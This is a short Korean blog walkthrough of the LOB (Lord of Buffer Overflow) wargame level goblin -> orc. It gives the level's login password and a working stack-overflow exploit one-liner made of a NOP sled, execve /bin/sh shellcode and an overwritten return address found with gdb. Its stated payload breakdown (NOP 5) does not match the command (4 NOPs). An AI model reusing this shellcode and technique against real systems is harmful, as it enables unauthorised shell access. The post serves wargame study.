id : goblin
password : hackers proof
로그인하면 orc.c 파일이 있다
코드는 다음과 같다
리턴 어드레스에 들어갈 주소가 bf로 시작해야 한다는 점이 새롭다
버퍼에 40이 들어가고 sfp까지 44를 채워준 후 버퍼의 주소를 입력해주면 될 것 같다
gdb로 버퍼의 주소를 알아냈다
0xbffffc35
리틀엔디안 방식이기 때문에 \x35\xfc\xff\xbf 를 입력해줘야 한다
./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x35\xfc\xff\xbf"'`
NOP(15) + 쉘코드(25) + NOP(5) + 버퍼 시작 주소(4)
입력해주면 쉘이 실행되어 비밀번호를 알 수 있다
'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글
[LOB] 6번 wolfman -> darkelf (0) | 2017.11.07 |
---|---|
[LOB] 5번 orc -> wolfman (0) | 2017.11.07 |
[LOB] 3번 cobolt -> goblin (0) | 2017.11.02 |
[LOB] 2번 gremlin -> cobolt (0) | 2017.11.02 |
[LOB] 1번 gremlin (0) | 2017.10.15 |